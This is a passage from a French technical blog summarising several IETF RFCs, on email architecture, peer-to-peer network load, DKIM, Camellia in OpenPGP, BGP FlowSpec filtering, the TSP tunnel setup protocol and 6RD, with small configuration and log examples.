en œuvre par le MDA. Le message est inchangé mais l'enveloppe
indique désormais un nouveau destinataire (donc, l'identité
RFC5322.To
ne change pas mais
RFC5321.RcptTo
oui.) À noter que l'émetteur
(RFC522.From
ou bien
RFC5321.MailFrom
) n'est pas affecté donc les
messages d'erreur n'iront pas au responsable de l'alias, ce qui en
rend le débogage très difficile. On peut
contester ce classement des alias parmi les intermédiaires, puisque
le message n'est pas modifié, mais notre RFC décide que le changement
de destinataire est un changement de sémantique suffisant pour que
cette fonction ne soit pas considérée comme faisant partie du
MTA.List-Id: IETF IP Performance Metrics Working Group
<ippm.ietf.org>
). Beaucoup de listes de diffusion
ajoutent également un champ Reply-To:
, ce qui
est en général une très mauvaise
idée.Par rapport aux débuts du courrier électronique, un des grands changements a concerné la sécurité, un sujet devenu bien plus important aujourd'hui. D'où la section 6.1, qui lui est consacrée. Elle rappelle que le MHS n'est pas obligatoirement sécurisé. Son but est en effet de permettre l'échange de courrier avec le moins d'embêtements possibles. Sans cette propriété, le courrier électronique n'aurait jamais décollé. Mais elle a aussi été exploitée par des méchants comme les spammeurs. Cependant, il existe de nombreuses techniques pour sécuriser le courrier, par exemple TLS (RFC 3207) pour sécuriser la communication entre deux serveurs, l'authentification SMTP (RFC 4954) pour s'assurer de l'identité d'un utilisateur ou encore PGP (RFC 4880) pour protéger le message de bout en bout.
Enfin, dernier gros morceau, l'internationalisation, en section 6.2. Si les RFC de base du courrier supposent uniquement l'utilisation d'ASCII, plusieurs extensions ont permis d'avoir aujourd'hui un courrier complètement internationalisé :
8BITMIME
).Merci à Olivier Miakinen pour ses nombreuses corrections.
Date de publication du RFC : Juillet 2009
Auteur(s) du RFC : J. Peterson (Neustar), A. Cooper (Center for Democracy & Technology
Pour information
Première rédaction de cet article le 24 août 2009
Le développement très rapide et très spectaculaire du pair-à-pair soulève plein de questions. Parmi elles, celle de la charge que font peser ces services sur les réseaux des opérateurs, et les points sur lesquels un travail de normalisation de l'IETF pourrait aider. C'étaient les deux thèmes du colloque organisé au MIT en mai 2008 et dont ce RFC est le compte-rendu.
La principale application du pair-à-pair aujourd'hui est le transfert de fichiers. Il n'y a pas de limite à la taille des contenus, notamment vidéo et les logiciels de pair-à-pair, comme le rappelle la section 1 du RFC, sont conçus pour utiliser le réseau à fond. C'était le point de départ du colloque : peut-on améliorer les choses ? Avant cela, il faut comprendre le phénomène et donc étudier les caractéristiques des réseaux pair-à-pair existants. Puis trois propositions ont émergé du colloque, un protocole de contrôle de congestion mieux adapté aux transfert de fichiers massifs, une étude des applications qui ouvrent plusieurs connexions simultanées, et une solution qui permettrait d'améliorer la sélection des pairs avant de commencer le transfert du fichier convoité.
Pour mieux comprendre le phénomène, le colloque a vu des exposés par des opérateurs (section 3). Par exemple, deux employés de Comcast ont décrit successivement les problèmes spécifiques aux réseaux câblés utilisant la norme DOCSIS, où chaque modem a accès à son tour. Par exemple, lorsque le CMTS donne accès au câble à un modem, celui-ci peut alors envoyer autant de données qu'il veut. Une machine en train d'envoyer un gros fichier pourra alors, à nombre de transferts égaux, prendre nettement plus de capacité que les autres.
Pour éviter les problèmes, outre les évolutions de la norme DOCSIS, certains opérateurs cherchent à mesurer en temps réel l'activité réseau des clients, pour ensuite limiter dans le CMTS leur accès au réseau. Outre qu'elle pose la question de la transparence du réseau, on peut noter que l'utilisateur n'est pas informé de cette situation (communiquer vers les clients des informations concrètes n'est jamais la priorité des opérateurs).
Autre point de vue, celui des développeurs de logiciels pair-à-pair (section 4). Stanislas Shalunov, de BitTorrent, a expliqué les défis auxquels étaient confrontés les développeurs et proposé des solutions. Là encore, les réseaux où beaucoup de ressources sont partagées, comme ceux fondés sur le câble TV, sont particulièrement affectés puisqu'un seul abonné peut en gêner beaucoup d'autres.
Les solutions possibles font l'objet de la section 5. La plus évidente est d'améliorer la sélection des pairs (section 5.1). Lorsqu'un client BitTorrent veut télécharger un fichier, il peut choisir n'importe lequel (ou lesquels) dans un essaim qui comporte souvent des centaines ou des milliers de machines. En général, il ne tient aucun compte de la topologie du réseau ou des informations contenues dans le système de routage. L'algorithme de sélection du pair varie selon les logiciels mais aboutit souvent à choisir une machine à l'autre bout du monde, alors qu'un pair volontaire était plus « proche ». Cela induit un délai supplémentaire pour l'utilisateur, et une charge plus grande du réseau pour l'opérateur.
Une solution serait donc d'avoir quelque part un service qui pourrait informer les pairs des conditions topologiques et les aider à choisir de meilleurs pairs.
Il n'est pas certain qu'il existe une solution idéale. Par exemple, si BitTorrent utilise une part d'aléatoire dans la sélection d'un pair, c'est aussi parce que cela évite la concentration des requêtes sur les machines les mieux placées, et permet de trouver ceux qui ont des parties rares d'un fichier.
En outre, les intérêts de l'opérateur et de l'utilisateur ne sont pas identiques. On pourrait imaginer des cas où la sélection qui soit optimale pour l'opérateur ne le serait pas pour l'utilisateur... qui risquerait donc de ne plus utiliser le système de sélection. Il est donc important que le système d'aide à la sélection ne soit donc qu'une indication parmi d'autres.
Compte-tenu de tout ceci, quelles sont les solutions techniques possibles ? Par exemple, le RFC cite :
Une fois ces solutions énumérées, que peut faire l'IETF ? Vouloir normaliser un système pair-à-pair complet (un « BitTorrent IETF ») est clairement prématuré, dans l'état actuel de l'expérience avec le pair-à-pair, domaine très bouillonant. À la place, le RFC 5594 n'envisage que de la spécification de quelques composants ponctuels d'un tel système. Une longue section 5.1.6 énumère les actions possibles pour chacune des solutions citées plus haut :
oracle.example.net
) aurait bien des
avantages. DHCP est un moyen possible,
l'anycast un autre, un
enregistrement SRV dans le
DNS un troisième.Après une meilleure sélection des pairs, l'autre grand chantier que
pose le pair-à-pair est le contrôle de
congestion (section 5.2). La plupart des
applications cherchent à transférer leurs données le plus vite
possible. Avec l'abondance de contenu disponible en pair-à-pair, cela
peut signifier une occupation permanente du réseau. Si les logiciels de
pair-à-pair étaient plus modérés dans leur usage de la capacité réseau
disponible, les choses iraient mieux. (Certains logiciels offrent des
possibilités d'auto-limitation, par exemple, avec
mldonkey, on peut mettre
max_hard_upload_rate = 10
dans
downloads.ini
et on limite alors la consommation
« montante » à 10 ko/s.)
Un exemple d'un meilleur comportement est le client BitTorrent officiel qui mesure en permanence le délai de transmission et cherche à le minimiser, ce qui laisse de la capacité pour les applications qui veulent une faible latence (comme la VoIP).
Une autre approche serait un contrôle de congestion pondéré, pour que TCP sur la machine laisse davantage de ressources à certaines applications (actuellement, depuis l'échec de TOS dans IP, l'application n'a pas de moyen standard d'indiquer ce genre de préférences, DiffServ (RFC 2474) est plutôt prévu pour être géré par le réseau (section 5.2.2 pour un traitement plus détaillé de la pondération).
Un autre endroit où mettre en œuvre une telle inégalité de traitement est bien sûr dans le réseau lui-même. Ainsi, un FAI peut déployer une architecture souvent appelée du terme marketing de qualité de service (alors que le but est au contraire de dégrader la qualité du service de certaines applications, au profit d'autres). Pour classer les données qui circulent dans son réseau, il peut utiliser les numéros de port (443 indique de l'HTTPS, 22 du SSH, etc) ou la DPI. Comme cette classification vise à diminuer la qualité de service de certains usages, les logiciels tentent en permanence d'y échapper et, de même que le numéro de port est devenu peu à peu inutile, tous les logiciels changeant de numéro ou détournant un numéro de port comme 443, la DPI motive les auteurs de logiciel à utiliser de plus en plus la cryptographie pour éviter à leur trafic d'être reconnu (section 5.3).
Autre question de justice : le cas des applications qui ouvrent plusieurs connexions TCP simultanées (section 6). La tendance avait été lancée par Netscape pour imposer son navigateur contre Mosaic. En effet, TCP essayant d'attribuer des parts identiques à toutes les connexions, avoir plusieurs connexions permet une part plus grosse. Il est donc nécessaire d'étudier plus attentivement la question.
Il y a bien longtemps que l'Internet ne vit plus exclusivement des subventions de l'armée états-unienne et tous les débats techniques du monde pèsent donc peu à côté des histoires de gros sous. La section 7 détaille donc les discussions autour du coût du pair-à-pair. Les chiffres rigoureux manquent dans ce domaine car, s'il est facile de connaître le prix d'un câble, celui de la congestion est bien plus dur à fixer. Il existe des estimations allant de 10 cents à 2 dollars US pour un gigaoctet transféré. La consommation qu'entraine le pair-à-pair pousse certains à réclamer le retour au tarif au volume.
Traditionnellement, l'IETF ne travaille pas sur les questions économiques, qui sont difficiles, vue la variété des modèles d'affaires, et de toute façon pas forcément de sa compétence. Mais il faudrait peut-être que l'IRTF commence un travail sur ce sujet.
Assez parlé, il faut maintenant agir. Quelles sont les prochaines étapes ? La section 8 cite les suivantes :
Les exposés faits lors du colloque peuvent être téléchargés en http://trac.tools.ietf.org/area/rai/trac/wiki/PeerToPeerInfrastructure
.
Date de publication du RFC : Juillet 2009
Auteur(s) du RFC : T. Hansen (AT&T Laboratories), D. Crocker (Brandenburg Internetworking), P. Hallam-Baker
Pour information
Réalisé dans le cadre du groupe de travail IETF dkim
Première rédaction de cet article le 8 juillet 2009
Le système DKIM de signature numérique du courrier électronique est normalisé dans le RFC 6376. Ce n'est pas une norme simple et, comme le domaine dans lequel elle se situe est traditionnellement très délicat et voué aux polémiques vigoureuses, un effort d'explication était nécessaire. C'est ainsi qu'est né ce RFC 5585, qui donne une description de haut niveau de DKIM, en se focalisant sur le protocole (les aspects opérationnels ne sont pas évoqués).
Le principe de DKIM est de signer cryptographiquement les messages, en utilisant le DNS comme serveur de clés. La signature permet de lier, de manière fiable, un message à une organisation, celle qui gère le nom de domaine où a été trouvé la clé publique. Il y a très loin de cette liaison à la lutte contre le spam : DKIM n'est qu'une technique d'authentification, il ne peut donc pas résoudre tous les problèmes posés par les usages malveillants du courrier. Pour citer le RFC, « DKIM est une seule arme, dans ce qui doit être un vaste arsenal ».
La section 1 du RFC résume les principes de base de DKIM. Les attaques auxquelles DKIM permet de répondre ont été documentées dans le RFC 4686.
Une notion centrale est celle d'identité. Une personne ou une organisation a une identité et le but de DKIM est d'associer le message à une telle identité. Notons bien que, en soi, cela ne signifie pas que le message soit meilleur ou davantage valable, uniquement qu'il peut être rattaché à une personne ou une organisation. DKIM ne dit rien des qualités ou des défauts de cette personne ou de cette organisation, c'est une technique d'authentification, pas d'autorisation.
Pour DKIM, l'identité est un nom de domaine
comme pape.va
, enron.com
, ministere-de-l-harmonie.cn
ou
enlargeyourpenis.biz
. Ce nom de domaine est
désigné par le sigle SDID (Signing Domain
IDentifier). De même que BGP transmet
des informations entre AS, la confiance ne régnant qu'à l'intérieur
d'un AS, DKIM signe du courrier entre ADMD
(ADministrative Management Domain), un ADMD étant
une organisation (parfois informelle) à l'intérieur de laquelle la
confiance règne - alors qu'il n'y a évidemment pas, a priori, de confiance entre deux ADMD (annexe A.2).
La section 1.1 rappelle ce que DKIM ne fait pas :
enlargeyourpenis.biz
, DKIM permet de vérifier
cette prétention, il ne teste pas l'efficacité du médicament
promu,DKIM n'est pas, et de loin, la première technique mise au point pour augmenter la sécurité du courrier électronique. La section 1.2 examine les autres candidats (inutile de dire que la comparaison faite par les auteurs de DKIM est systématiquement défavorable à ces malheureux concurrents). Par exemple, SPF (RFC 7208) a des points communs avec DKIM, utilise également le nom de domaine comme identité (contrairement à ce que prétend ce RFC 5585) mais est également lié à l'adresse IP de l'émetteur, rendant difficile certaines délégations (par exemple, faire suivre un message).
Pas moins de quatre autres normes IETF utilisent une signature du message, l'ancêtre PEM (RFC 989), PGP (RFC 4880), MOSS (RFC 1848) et S/MIME (RFC 3851). Seuls PGP (plutôt apprécié dans le monde technique) et S/MIME (plutôt apprécié dans l'entreprise sérieuse et cravatée) ont connu un déploiement significatif mais qui, dans les deux cas, reste très loin du niveau de généralité qui serait nécessaire.
Outre le fait que la base installée était bien mince, le choix de DKIM de partir de zéro s'appuyait sur des arguments techniques. Ainsi, DKIM ne dépend pas, pour juger d'une clé, de signatures de cette clé (contrairement aux certificats X.509 de S/MIME ou au réseau de confiance de PGP) mais uniquement de sa disponibilité dans la DNS. DKIM n'a ainsi pas besoin d'une nouvelle infrastructure (comme le sont les serveurs de clés pour PGP).
Après ce tour d'horizon, le RFC expose les services que rend DKIM, en section 2. Il y a deux services importants, vérifier une identité et l'évaluer, juger de sa crédibilité et de son sérieux. DKIM fournit le premier service (section 2.1) et permet le second, dont il est un pré-requis.
Cette évaluation (section 2.2) n'est pas directement faite par
DKIM. Ce dernier ne peut pas répondre à la question « Est-ce qu'un
message venu de enron.com
ou
france-soir.fr
mérite d'être délivré ? ». Tout ce
que DKIM pourra faire est de garantir que cette identité est
authentique et que le message n'a pas été modifié en route (section
2.3). Mais, comme le dit le RFC, « si le message était mensonger au
début, il le sera toujours après la signature, et DKIM permettra de
garantir que le mensonge a été transmis fidèlement ».
À noter que l'absence d'une signature DKIM peut aussi bien signifier que le domaine (le SDID) en question ne signe pas, que d'indiquer une attaque active où le méchant a retiré la signature. La protection contre ces attaques sera assurée par la future norme sur les règles de signature (Signing Practices), qui permettra aux gérants d'un domaine d'indiquer dans le DNS si les messages émis par leur organisation sont systématiquement signés ou pas.
La section 3 résume le cahier des charges que suivait DKIM. Parmi les buts de ce dernier, pour ce qui concerne le protocole (section 3.1) :
Et parmi les buts plus opérationnels (section 3.2) :
Comment DKIM atteint-il ces buts ? La section 4 expose les
fonctions qu'il assure. Le principe de base est que le signeur choisit
le SDID (le nom de domaine qui identifie l'origine du message), un
sélecteur (une chaîne de caractères arbitraire) et
signe le message, mettant la signature dans un en-tête
DKIM-Signature:
. Le récepteur du message trouve
la clé publique en interrogeant le DNS pour un nom de domaine qui est formé par
l'ajout du sélecteur au SDID. Il peut alors vérifier la signature.
Ainsi, si je reçois un message d'un utilisateur de Google Mail contenant :
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; ...
je sais que ce message vient de gmail.com
(quoi
que puissent dire les autres en-têtes) et que, comme le sélecteur est
gamma
, je peux trouver la clé publique en
interrogeant gamma._domainkey.gmail.com
.
Pour mieux comprendre où se situent ces différentes fonctions, on peut regarder le joli diagramme de la section 5, qui représente graphiquement l'architecture de DKIM (il vaut la peine de lire également l'annexe A, qui résume l'architecture du courrier électronique). Un autre point important de cette section est qu'actuellement, l'absence d'une signature dans un message ne prouve rien. Elle peut indiquer que l'émetteur ne signe pas, mais aussi qu'un méchant a modifié un message (ou inséré un faux). Dans l'état actuel du déploiement de DKIM, il est donc difficile de prendre des décisions lorsqu'un message n'est pas signé. Le problème sera traité par le futur RFC sur les règles de signature (Signing Practices), qui permettra à un domaine de publier les règles qu'il a choisi et qu'il suit en matière de signature DKIM. Un domaine pourra ainsi annoncer au monde qu'il signe systématiquement, ce qui permettra de rejeter les messages non signés mais prétendant venir de ce domaine.
Un article récent de Cisco sur le déploiement de DKIM indiquait une croissance rapide de son utilisation. Enfin, on peut trouver davantage d'informations sur le site officiel.
Date de publication du RFC : Juin 2009
Auteur(s) du RFC : D. Shaw
Pour information
Première rédaction de cet article le 4 juin 2009
La cryptographie évoluant sans cesse, il est nécessaire, pour tous les protocoles Internet qui en dépendent, de prévoir la possibilité d'utiliser plusieurs algorithmes de cryptrographie, au fur et à mesure que les anciens craquent sous les coups de la cryptanalyse. Le format PGP, normalisé dans le RFC 4880 peut ainsi désormais utiliser l'algorithme de chiffrement symétrique Camellia. (Depuis, notre RFC 5581 a été intégré dans la norme OpenPGP, qui est désormais le RFC 9580.)
Le RFC est très court car il n'y a pas grand'chose à dire. Camellia, un algorithme symétrique à blocs, d'origine japonaise, est décrit dans le RFC 3713. Notre RFC 5581 se contente de l'ajouter à la liste officielle des algorithmes PGP, aux côtés de protocoles comme AES et Twofish.
Date de publication du RFC : Août 2009
Auteur(s) du RFC : P. Marques (Cisco), N. Sheth (Juniper), R. Raszuk (Cisco), B. Greene (Juniper), J. Mauch (NTT America), D. McPherson (Arbor Networks)
Chemin des normes
Première rédaction de cet article le 25 mars 2013
Lorsqu'on a un grand réseau compliqué, diffuser à tous les routeurs des règles de filtrage, par exemple pour faire face à une attaque par déni de service, peut être complexe. Il existe des logiciels permettant de gérer ses routeurs collectivement mais ne serait-il pas plus simple de réutiliser pour cette tâche les protocoles existants et notamment BGP ? On profiterait ainsi des configurations existantes et de l'expérience disponible. C'est ce que se sont dit les auteurs de ce RFC. « FlowSpec » (nom officieux de cette technique) consiste à diffuser des règles de traitement du trafic en BGP, notamment à des fins de filtrage. Ce RFC a depuis été remplacé par le RFC 8955.
Les routeurs modernes disposent en effet de nombreuses capacités de traitement du trafic. Outre leur tâche de base de faire suivre les paquets, ils peuvent les classifier, limiter leur débit, jeter certains paquets, etc. La décision peut être prise en fonction de critères tels que les adresses IP source et destination ou les ports source et destination. Notre RFC 5575 encode ces critères dans un attribut NLRI (Network Layer Reachability Information est décrit dans la section 4.3 du RFC 4271) BGP, de manière à ce qu'ils puissent être transportés par BGP jusqu'à tous les routeurs concernés. Sans FlowSpec, il aurait fallu qu'un humain ou un programme se connecte sur tous les routeurs et y rentre l'ACL concernée.
Pour reconnaitre les paquets FlowSpec, ils sont marqués avec le SAFI (concept introduit dans le RFC 4760) 133 pour les règles IPv4 et 134 pour celles des VPN.
La section 4 du RFC donne l'encodage du nouveau NLRI. Un message
UPDATE
de BGP est utilisé, avec les attributs
MP_REACH_NLRI
et
MP_UNREACH_NLRI
du RFC 4760
et un NLRI FlowSpec. Celui-ci compte plusieurs couples {type, valeur}
où l'interprétation de la valeur dépend du type (le type est codé sur
un octet). Voici les principaux
types :
10.0.1.0/24
sera encodé (noté en
hexadécimal) 01 18 0a 00
01
(type 1, longueur 24 - 18 en hexa - puis le préfixe dont
vous noterez que seuls les trois premiers octets sont indiqués, le dernier n'étant pas pertinent ici).RST
.Tous les types de composants sont enregistrés à l'IANA.
Une fois qu'on a cet arsenal, à quoi peut-on l'utiliser ? La section 5 détaille le cas du filtrage. Autrefois, les règles de filtrage étaient assez statiques (je me souviens de l'époque où tous les réseaux en France avaient une ACL, installée manuellement, pour filtrer le réseau de l'EPITA). Aujourd'hui, avec les nombreuses DoS qui vont et viennent, il faut un mécanisme bien plus dynamique. La première solution apparue a été de publier via le protocole de routage des préfixes de destination à refuser. Cela permet même à un opérateur de laisser un de ses clients contrôler le filtrage, en envoyant en BGP à l'opérateur les préfixes, marqués d'une communauté qui va déclencher le filtrage (à ma connaissance, aucun opérateur n'a utilisé cette possibilité, en raison du risque qu'une erreur du client ne se propage). De toute façon, c'est très limité en cas de DoS (par exemple, on souhaite plus souvent filtrer sur la source que sur la destination). Au contraire, le mécanisme FlowSpec de ce RFC donne bien plus de critères de filtrage.
Cela peut d'ailleurs s'avérer dangereux : une annonce FlowSpec trop générale et on bloque du trafic légitime. C'est particulièrement vrai si un opérateur accepte du FlowSpec de ses clients : il ne faut pas permettre à un client de filtrer les autres. D'où la procédure suggérée par la section 6, qui demande de n'accepter les NLRI FlowSpec que s'ils contiennent un préfixe de destination, et que ce préfixe de destination est routé vers le même client qui envoie le NLRI. Ainsi, un client ne peut pas déclencher le filtrage d'un autre puisqu'il ne peut influencer que le filtrage des paquets qui lui sont destinés.
Au fait, en section 5, on a juste vu comment indiquer les critères
de classification du trafic qu'on voulait filtrer. Mais comment
indiquer le traitement qu'on veut voir appliqué aux paquets ainsi
classés ? (Ce n'est pas forcément les jeter : on peut vouloir être
plus subtil.) FlowSpec utilise les communautés étendues du RFC 4360. La valeur sans doute la plus importante est
0x8006, traffic-rate
, qui permet de
spécifier un débit maximal pour les paquets qui correspondent aux
critères mis dans le NLRI. Le débit est en octets/seconde. En mettant
zéro, on demande à ce que tous les paquets classés soient
jetés. Les autres valeurs possibles permettent des actions comme de
modifier les bits DSCP du trafic classé.
Comme toutes les armes, celle-ci peut être dangereuse pour celui qui la manipule. La section 10 est donc la bienvenue, pour avertir de ces risques. Par exemple, comme indiqué plus haut, si on permet aux messages FlowSpec de franchir les frontières entre AS, un AS maladroit ou méchant risque de déclencher un filtrage chez son voisin. D'où l'importance de la validation, n'accepter des règles FlowSpec que pour les préfixes de l'AS qui annonce ces règles.
Ensuite, comme tous les systèmes de commande des routeurs à distance, FlowSpec permet de déclencher un filtrage sur tous les routeurs qui l'accepteront. Si ce filtrage est subtil (par exemple, filtrer tous les paquets plus grands que 900 octets), les problèmes qui en résultent seront difficiles à diagnostiquer.
Et les réalisations concrètes ? Parmi les auteurs du RFC, il y a autant d'employés de Cisco que de Juniper mais ce sont des arrivés récents chez Cisco. Ce RFC a d'abord été mis en œuvre sur les Juniper (on peut consulter leur documentation en ligne), puis chez Alcatel. Il existe aussi une implémentation de FlowSpec dans le logiciel d'injection de routes ExaBGP. D'autre part, en utilisant FlowSpec, attention aux problèmes de performance.
FlowSpec a joué un rôle important dans la panne CloudFlare du 3 mars 2013, en propageant des critères incorrects (une taille de paquet supérieure au maximum permis par IP) à tous les routeurs. Ce n'est pas une bogue de FlowSpec : tout mécanisme de diffusion automatique de l'information à N machines différentes a le même problème potentiel. Si l'information était fausse, le mécanisme de diffusion transmet l'erreur à tous... (Dans le monde des serveurs Unix, le même problème peut se produire avec des logiciels comme Chef ou Puppet. Lisez un cas rigolo avec Ansible.) Comme le prévient notre RFC : « When automated systems are used, care should be taken to ensure their correctness as well as to limit the number and advertisement rate of flow routes. » Toutefois, contrairement à ce que laisse entendre le RFC, il n'y a pas que les processus automatiques qui injectent des erreurs : les humains le font aussi.
Si vous voulez en apprendre plus sur FlowSpec :
Si vous vous intéressez à l'utilisation de BGP lors d'attaques par déni de service, vous pouvez aussi consulter les RFC 3882 et RFC 5635.
Date de publication du RFC : Février 2010
Auteur(s) du RFC : M. Blanchet (Viagenie), F. Parent (Beon Solutions)
Expérimental
Première rédaction de cet article le 19 février 2010
Le protocole IPv6 étant très loin d'une connectivité complète dans l'Internet d'aujourd'hui (un très grand nombre d'opérateurs et de fournisseurs d'accès ne sont toujours pas capables de router de l'IPv6, malgré l'épuisement prochain des adresses IPv4), il faut souvent passer par des tunnels pour pouvoir faire de l'IPv6. Ces tunnels peuvent être configurés manuellement mais il peut être plus pratique de disposer d'un protocole qui permet aux serveurs de tunnels d'indiquer aux clients les paramètres de la connexion (comme avec PPP ou DHCP). Cela permet d'avoir des paramètres dynamiques (la section 3 liste les avantages de TSP). C'est un tel protocole que normalise ce RFC. (L'idée de base avait été présentée dans le RFC 3053.)
TSP (Tunnel Setup Protocol) permet donc à un client de demander un tunnel à un serveur et celui-ci, s'il est d'accord, va répondre avec les paramètres du tunnel, comme l'adresse IP.
Comme résumé dans la section 2 de notre RFC, TSP fonctionne au dessus de XML, lui-même au dessus de TCP ou UDP. Les paramètres qu'on peut négocier entre le client et le serveur sont, par exemple :
ip6.arpa
, pour le préfixe délégué par le tunnel.En toute rigueur, TSP n'implique pas que le serveur TSP soit également l'extrémité du tunnel. C'est le mode le plus simple (figure 2 dans le RFC) mais le serveur TSP peut être aussi un courtier (broker), négociant des paramètres pour le compte du serveur de tunnels (figure 1 dans le RFC et section 4.1 sur la terminologie). Le protocole de signalisation (pour se connecter au courtier) n'est pas forcément le même que le protocole du tunnel.
Le protocole complet est décrit dans la section 4. Le protocole est fort simple, le client TSP se connecte, s'authentifie, envoie sa demande et obtient une réponse. La demande est codée en XML, la réponse est précédée d'un code à trois chiffres résumant le succès ou l'échec (voir annexe B pour une liste de ces codes numériques ).
Le client choisit de se connecter au dessus d'un des protocoles
indiqués dans la section 4.4.1. Comme les autres exemples ultérieurs,
l'exemple ici est pris sur le fichier de configuration du client TSP gw6 (qu'on obtient en s'inscrivant à leur service) pour
Linux. Si on trouve dans gw6c.conf
:
tunnel_mode=v6v4
cela indique que le client va se connecter au serveur en TCP (port 3653) avec le protocole IPv4, pour créer un tunnel IPv6. (La liste de toutes les méthodes figure dans le registre IANA, décrit en section 7).
L'authentification figure en section 4.4.2. Elle utilise SASL. Elle se configure, par exemple, ainsi :
userid=mapetiteentreprise passwd=monsupermotdepasse
Quant à la demande et à la réponse, elles sont décrites en section 4.4.3. Voici un exemple, vu dans le journal du client gw6 :
2009/07/20 08:43:04 I gw6c: Sent: 2009/07/20 08:43:04 I gw6c: Content-length: 217<tunnel action="create" type="v6anyv4" proxy="no"> <client> <address type="ipv4">208.75.84.80</address> <keepalive interval="30"> <address type="ipv6">::</address> </keepalive> </client></tunnel> 2009/07/20 08:43:04 I gw6c: Received: 2009/07/20 08:43:04 I gw6c: 200 Success<tunnel action="info" type="v6v4" lifetime="604800"> <server> <address type="ipv4">64.86.88.116</address> <address type="ipv6">2001:05c0:1000:000b:0000:0000:0000:0218</address> </server> <client> <address type="ipv4">208.75.84.80</address> <address type="ipv6">2001:05c0:1000:000b:0000:0000:0000:0219</address> <address type="dn">bortzmeyer.broker.freenet6.net</address> <keepalive interval="30"> <address type="ipv6">2001:05c0:1000:000b:0000:0000:0000:0218</address> </keepalive> </client> </tunnel>
Une fois que la demande est acceptée, le tunnel est typiquement
configuré automatiquement par le logiciel client (section 4.5), qui se charge
d'exécuter les ifconfig
appropriés. On voit alors son tunnel, ici en 2001:5c0:1000:b::219
:
sit1 Link encap:IPv6-in-IPv4 inet6 addr: fe80::d04b:5450/64 Scope:Link inet6 addr: 2001:5c0:1000:b::219/128 Scope:Global UP POINTOPOINT RUNNING NOARP MTU:1280 Metric:1 RX packets:5069 errors:0 dropped:0 overruns:0 frame:0 TX packets:5015 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:4526230 (4.3 MiB) TX bytes:487854 (476.4 KiB)
Les éléments XML échangés sont décrits dans
la section 4.7 (et la DTD complète en annexe
A). Par exemple, l'élément <server>
(section 4.7.3) contient deux éléments,
<address>
et
<router>
, qui indiquent les
caractéristiques IP de l'extrémité du tunnel.
Plusieurs exemples de requêtes TSP figurent dans la section 5. Avec tspc, on peut aussi les obtenir en utilisant l'option -vvv
:
# /usr/sbin/tspc -vvvvv Connecting to server with tcp Using TSP protocol version 2.0.0 Establishing connection with tunnel broker... Getting capabilities from server Connection established Authenticating bortzmeyer Using authentification mecanism DIGEST-MD5 Authentication success Asking for a tunnel sent: Content-length: 252 <tunnel action="create" type="v6v4" proxy="no"> <client> <address type="ipv4">192.134.7.249</address> <keepalive interval="30"><address type="ipv6">::</address></keepalive <router> <prefix length="48"/> </router> </client> </tunnel> ...
Et, sur le câble, voici à quoi ressemblent les paquets : http://www.pcapr.net/view/fropert/2010/4/4/4/tsp-freenet6.pcap.html
.
Aujourd'hui, il existe deux implémentations libre du client, gw6c, déjà cité et tspc. Des exemples plus concrets de configuration peuvent être trouvés dans mon article sur les serveurs de tunnel.
Date de publication du RFC : Janvier 2010
Auteur(s) du RFC : R. Després
Pour information
Première rédaction de cet article le 24 janvier 2010
Dernière mise à jour le 3 septembre 2010
Contrairement à ce que prétendent certains ignorants, la délicate question de la période de transition entre IPv4 et IPv6 n'a jamais été négligée à l'IETF. Bien au contraire, plusieurs mécanismes ont été normalisés pour assurer le passage d'un protocole à l'autre. Le mécanisme « RD », décrit dans ce RFC 5569, est un de ces mécanismes, modifiant le 6to4 du RFC 3056 pour garantir un chemin de retour symétrique aux paquets IP. RD permet à un FAI de vendre un service IPv6 alors que son réseau interne est essentiellement IPv4. Il est surtout connu pour être la technologie déployée par Free à partir de décembre 2007.
S'il existe plusieurs mécanismes de coexistence d'IPv4 et d'IPv6, c'est parce que les besoins sont différents. Certains FAI ont un réseau interne entièrement IPv6 depuis de nombreuses années comme Nerim. D'autres n'ont pas encore commencé le déploiement. Parfois, le FAI est en avance sur ses clients, parfois c'est le contraire comme c'était le cas pour Free où de nombreux utilisateurs réclamaient IPv6 depuis longtemps. Il existe donc une variété de techniques de coexistence v4/v6. RD se positionne pour le cas où le FAI :
La section 1 du RFC décrit ainsi comment Free a migré vers 6RD fin 2007 (un autre compte-rendu a été fait par Alexandre Cassen à la réunion RIPE-58 à Amsterdam). Il a fallu mettre à jour le logiciel de la Freebox et ajouter des serveurs relais 6RD en sortie mais il n'a pas été nécessaire de toucher aux DSLAM (qui ne gérent malheureusement pas IPv6).
La section 2 revient plus en détail sur le cahier des charges :
casser le cercle vicieux courant avec IPv6 où les FAI n'installent pas
IPv6 parce que leurs clients ne le demandent pas et où les clients ne
se mettent pas à IPv6 parce que peu de FAI le transmettent. Le
protocole « idéal » semblait être 6to4 du RFC 3056. Simple, déjà mis en œuvre, y compris en logiciel
libre et sans état (chaque paquet est traité indépendamment) donc
passe bien à l'échelle. Mais il a des limites, notamment le fait le
retour du paquet n'est pas garanti : la machine avec laquelle on
communique va chercher son propre relais 6to4 et ne va pas forcément
en trouver un. RD est une modification de 6to4 pour utiliser comme
préfixe, non plus le préfixe 6to4 commun à tous de
2002::/16
mais un préfixe par FAI. Ainsi, le FAI
doit désormais lui-même installer des relais, il ne peut plus se
reposer sur les relais existants mais, en contre partie, il contrôle
complètement le routage, y compris sur le chemin du retour et se
retrouve ainsi dans un cas plus classique où ses routeurs servent ses
clients (alors que, avec 6to4, tout le monde sert tout le monde, ce
qui est très bien lorsque cela marche).
On peut se poser la question de savoir s'il s'agit vraiment d'IPv6 « natif ». Sans doute pas (le paquet circule dans le réseau de Free encapsulé IPv4, ce qui réduit la MTU à 1480 octets).
Une fois ce principe posé, la section 3 spécifie le protocole, très proche du 6to4 du RFC 3056. Les acteurs sont :
6to4 soulève traditionnellement des gros problèmes de sécurité, documentés dans le RFC 3964. 6RD en supprime certains, si l'implémentation suit les recommandations de la section 5, et effectue les vérifications demandées, mais l'usurpation d'adresse IP demeure relativement facile.
Le déploiement de 6RD chez Free a permis à la France de faire un bond dans les statistiques IPv6 comme l'a montré le rapport de Lorenzo Colitti (Google), Global IPv6 Statistics - Measuring the Current State of IPv6 for Ordinary Users.
